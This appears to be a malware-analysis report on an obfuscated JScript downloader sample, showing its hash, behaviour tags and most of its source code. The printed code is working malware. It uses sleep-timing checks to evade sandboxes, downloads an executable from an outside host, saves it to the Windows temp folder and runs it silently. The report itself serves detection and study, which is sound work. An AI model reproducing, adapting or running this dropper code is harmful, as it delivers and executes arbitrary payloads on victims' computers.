20160328_066f700f4b2ec10d51dd7a547a22e90e.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256060baad2b53e943159ec535c1d38add70d7d8487a48f32d9aa558f8a1700b113
Evidence
1var Akjnqegysw = false;
2var Cmehumm = "CreateObject";
3var Qtmebtdje = function Ebhazzoq() {return WScript[Cmehumm]("WScript.Shell");}();
4var Megvxd = 123213;
5var Mupxsoqgkq = "MSXML2.XMLHTTP";
6var Ldbbar = 2123213;
7var Yjbhlhq = 0;
8function Bgdxh(Lhujkses){Qtmebtdje["Run"](Lhujkses, Yjbhlhq, Yjbhlhq);};
9function Qoeiboj(){return Mupxsoqgkq;};
10function Oqoypth(Upenyfvzjk, Oxtvm){return Upenyfvzjk - Oxtvm;};
11function Pwgdrb(){return Cmehumm;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Akjnqegysw = true;
15 @end
16@*/
17var Ftiipmyd = "";
18if (Akjnqegysw)
19{
20function Asxtmm(){return 22;};
21var Tpuua = 0; var Sogusawmas = 0;
22function Azjpp()
23{
24var Kqznv = new this["Date"]();
25var Owwfhe = Kqznv["getUTCMilliseconds"]();
26WScript["Sleep"](Asxtmm());
27var Kqznv = new this["Date"]();
28var Lvynjleg = Kqznv["getUTCMilliseconds"]();
29WScript["Sleep"](Asxtmm());
30var Kqznv = new this["Date"]();
31var Ydfsxibcy = Kqznv["getUTCMilliseconds"]();
32var Tpuua = "Nvhhjjgnhq";
33Tpuua = Oqoypth(Lvynjleg, Owwfhe);
34var Sogusawmas = "Pamutfn";
35Sogusawmas = Oqoypth(Ydfsxibcy, Lvynjleg);
36Ftiipmyd = "open";
37return Oqoypth(Tpuua, Sogusawmas);
38}
39var Rkgdyzdmrd = false;
40var Herzi = false;
41for (var Jebxsurazk = Yjbhlhq; Jebxsurazk < Asxtmm() * 1; Jebxsurazk++){if (Azjpp() != Yjbhlhq){
42Rkg …
49:3… (Rkgdyzdmrd && Udykskj() && Herzi){
50function Gyzgls() {return Qtmebtdje["ExpandEnvironmentStrings"]("%TEMP%/") + "0nNta4P9L.exe";};
51 Wkxxcachj = Qoeiboj();
52 Nmiywyefsv = WScript[Cmehumm](Wkxxcachj);
53 var Xmsxfkwgqk = 1;
54 while (Xmsxfkwgqk){
55try {
56Nmiywyefsv[Ftiipmyd]("GET", "http://chibitesafaris.co.tz/ke7sif", false);
57Nmiywyefsv["send"]();
58Opufbpk = "Sleep";
59do {WScript[Opufbpk](Asxtmm() * 11)} while (Nmiywyefsv["readystate"] < 4 );
60Xmsxfkwgqk = Yjbhlhq;
61} catch(Evdvvs){Xmsxfkwgqk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Khadpr(Elsxeiok) {var Qgmkaicr = (1, 2, 3, 4, 5, Elsxeiok); return Qgmkaicr;};
64Wvnfrce = WScript[Pwgdrb()]("ADODB.Stream");
65Wkxxcachj = Wvnfrce;
66Wkxxcachj[Ftiipmyd]();
67Wkxxcachj["type"] = Khadpr(1);
68Wkxxcachj["write"](Nmiywyefsv["ResponseBody"]);
69Wvnfrce["position"] = Khadpr(Yjbhlhq);
70Wkxxcachj["SaveToFile"](Gyzgls(), Khadpr(2) );
71Wvnfrce["close"]();
72Bgdxh(Gyzgls());
73}
74}
75